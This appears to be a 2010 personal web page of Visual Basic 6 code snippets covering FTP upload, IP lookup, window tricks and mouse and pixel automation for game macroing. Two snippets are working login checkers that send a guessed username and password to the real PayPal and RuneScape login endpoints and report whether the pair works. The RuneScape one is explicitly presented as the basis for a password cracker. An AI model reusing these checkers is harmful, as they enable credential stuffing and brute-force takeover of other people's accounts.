jrantala.com

 
 
 

Menu

 

Code snippets

If you use any of my code snippets i would like to have credits or something.


VB6: Upload file to FTP server with Inet control

You need to enable Microsoft Internet Controls from Project -> Components... and add Inet control to your form and rename it to Inet instead of Inet1.

Private Sub Command1_Click()
Me.Caption = "Uploading..."
If UploadFile("C:\", "file.exe", "admin", "password123", "www.jrantala.com", "crap/") Then
    MsgBox "File uploaded succefully"
End If
End Sub

Private Function UploadFile(LocalDir As String, FileName As String, username As String, password As String, FTPserver As String, remoteDir As String)
Inet.Cancel
While Inet.StillExecuting
    DoEvents
Wend

On Error GoTo err

Inet.Execute "FTP://" & username & ":" & password & "@" & FTPserver, "SEND " & Chr(34) & LocalDir & FileName & Chr(34) & " " & Chr(34) & remoteDir & FileName & Chr(34)

While Inet.StillExecuting
    DoEvents
Wend

Inet.Execute , "CLOSE"
While Inet.StillExecuting
    DoEvents
Wend
UploadFile = True
Exit Function
err:
UploadFile = False
MsgBox Error
End Function

VB6: PayPal - password check

Private Declare Function timeGetTime Lib "winmm.dll" () As Long
Dim Username As String
Dim Password As String

Private Sub
Form_Load()
Username = InputBox("login_email")
Password = InputBox("login_password")

Dim timeStart As Long
timeStart = timeGetTime

If Check(Inet.OpenURL("https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit&login_email=" & Username & "&login_password=" & Password)) Then
MsgBox "works, pass is: " & Password & vbCrLf & vbCrLf & "Checked in " & (timeGetTime - timeStart) / 1000 & " seconds", , Username
Else
MsgBox Password & ": not working" & vbCrLf & vbCrLf & "Checked in " & (timeGetTime - timeStart) / 1000 & " seconds", , Username
End If

End
End Sub

Public Function
Check(code As String)
If InStr(100, code, "t match our records") Or InStr(100, code, "enter a valid email address") Or InStr(100, code, "please try again") Then
Check = False
Else
Check = True
End If
End Function

VB6: Get your real IP-address - Easier way...

You need to enable Microsoft Internet Controls from Project -> Components... and add Inet control to your form and rename it to Inet instead of Inet1.

Private Sub Form_Load()
MsgBox Inet1.OpenURL("http://pspools.net/jdh/ip.asp")
End Sub

VB6: Get your real IP-address

You need to enable Microsoft Internet Controls from Project -> Components... and add Inet control to your form and rename it to Inet instead of Inet1.

Private Sub Form_Load()
MsgBox RealIP
End Sub

Private Function RealIP()
On Error GoTo err

Dim before As String
Dim sitehtml As String
Dim myIP As String
Dim after As String

sitehtml = Inet.OpenURL("http://www.ip-adress.com/")
While Inet.StillExecuting
DoEvents
Wend

DivideText sitehtml, "My IP address: ", "</span></b></font></span>", before, myIP, after
RealIP = myIP

Exit Function
err:
RealIP = "ERROR: " & Error
End Function

Private Sub DivideText(ByVal txt As String, _
ByVal target1 As String, ByVal target2 As String, _
ByRef before As String, ByRef between As String, _
ByRef after As String)
Dim pos As Long

' Get the text before target1.
pos = InStr(txt, target1)
If pos = 0 Then
' target1 is missing. Set before = "".
before = ""
Else
' Set before.
before = Left$(txt, pos - 1)
' Remove up to target1 from the string.
txt = Mid$(txt, pos + Len(target1))
End If

' Get the text before target2.
pos = InStr(txt, target2)
If pos = 0 Then
' target2 is missing. Set between = "".
between = ""
Else
' Set between.
between = Left$(txt, pos - 1)
' Remove up to target2 from the string.
txt = Mid$(txt, pos + Len(target2))
End If

after = txt
End Sub

VB6: Semi-transparent form

Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long

Private Sub Form_Paint()
  SetTransparent Me.hWnd, 200 'You can change the transparency level from 1 to 255
End Sub

Sub SetTransparent(hWnd As Long, Transparent As Byte)
  Dim N As Long
  N = GetWindowLong(Me.hWnd, (-20)) Or &H80000
  SetWindowLong hWnd, (-20), N
  SetLayeredWindowAttributes hWnd, 0, Transparent, &H2
End Sub

VB6: Form always on top

Private Declare Function SetWindowPos& Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long)

Private Sub Form_Load()
SetWindowPos Form1.hwnd, -1, 0, 0, 0, 0, 3
End Sub

VB6: Get window HWND by dragging a crosshair over it

Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long , ByVal yPoint As Long) As Long

Dim SelWnd As Long

Private Type POINTAPI
    X As Long
    Y As Long
End Type

Private Sub CrosshairPic_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
Me.MousePointer = 99
Me.MouseIcon = CrosshairPic.Picture
CrosshairPic.Visible = False
End Sub

Private Sub
CrosshairPic_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim mousexy As POINTAPI
GetCursorPos mousexy

SelWnd = WindowFromPoint(mousexy.X, mousexy.Y)
CrosshairPic.Visible = True
End Sub

VB6: CursorToColor

This function moves your cursor to a color you want to in a window you want to.

Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hWnd As Long, lpRect As RECT) As Long
Private Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function GetPixel Lib "gdi32" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long) As Long

Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type

'Put "0" as windowHWND to find the color from the whole screen. To get hwnd from a window you want to search color from, you need to use WindowFromPoint-API.
Public Function CursorToColor(windowHWND As Long, colorcode As Long)
Dim wndRect As RECT
Dim X As Long, Y As Long, test As Long

GetWindowRect windowHWND, wndRect
test = GetDC(windowHWND)
For Y = 0 To (wndRect.Bottom - wndRect.Top)
    For X = 0 To (wndRect.Right - wndRect.Left)
        If GetPixel(test, X, Y) = colorcode Then
        SetCursorPos X + wndRect.Left, Y + wndRect.Top
        Exit Function
        End If

    Next X
Next Y
End Function

VB6: Wait in milliseconds

This function waits as long as you want before running next command. Good for macroing.

Private Declare Function timeGetTime Lib "winmm.dll" () As Long

Public Sub Wait(ByVal ms As Long)
ms = timeGetTime() + ms
Do: DoEvents: Loop While ms > timeGetTime()
End Sub

VB6: Moving cursor and clicking

Make a new module and copy this there. Now you can handle mouse much easier.

Public Declare Sub mouse_event Lib "user32" (ByVal dwFlags As Long, ByVal dx As Long, ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long)
Public Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long

Public Const MOUSEEVENTF_LEFTDOWN = &H2
Public Const MOUSEEVENTF_LEFTUP = &H4
Public Const MOUSEEVENTF_MIDDLEDOWN = &H20
Public Const MOUSEEVENTF_MIDDLEUP = &H40
Public Const MOUSEEVENTF_RIGHTDOWN = &H8
Public Const MOUSEEVENTF_RIGHTUP = &H10

Public Sub LeftDown()
mouse_event MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0
End Sub

Public Sub LeftUp()
mouse_event MOUSEEVENTF_LEFTUP, 0, 0, 0, 0
End Sub

Public Sub MiddleDown()
mouse_event MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0
End Sub

Public Sub
MiddleUp()
mouse_event MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0
End Sub

Public Sub RightDown()
mouse_event MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0
End Sub

Public Sub RightUp()
mouse_event MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0
End Sub

Public Sub SetMousePos(x As Long, y As Long)
SetCursorPos x, y
End Sub

VB6: RuneScape - password check

Password checker what can be used to make a new but slow password cracker what works with inet..

'Just add inet component and it's done! - If you use this code, please give credits to www.jrantala.com
Private Declare Function timeGetTime Lib "winmm.dll" () As Long
Dim Username As String
Dim Password As String

Private Sub Form_Load()
Username = InputBox("Username")
Password = InputBox("Password")

Dim timeStart As Long
timeStart = timeGetTime

If Check(Inet1.OpenURL("https://weblogin.runescape.com/login.ws?username=" & Username & "&password=" & Password & "&mod=billing_core&ssl=1&dest=userdetails.ws")) Then
    MsgBox "works, pass is: " & Password & vbCrLf & vbCrLf & "Checked in " & (timeGetTime - timeStart) / 1000 & " seconds", ,     Username
    Else
    MsgBox Password & ": not working" & vbCrLf & vbCrLf & "Checked in " & (timeGetTime - timeStart) / 1000 & " seconds", , Username
End If

End
End Sub


Public Function Check(code As String)
If InStr(1, code, "ogged in") Then
    Check = True
    Else
    Check = False
End If
End Function

Copyright 2010 jrantala.com
All Rights Reserved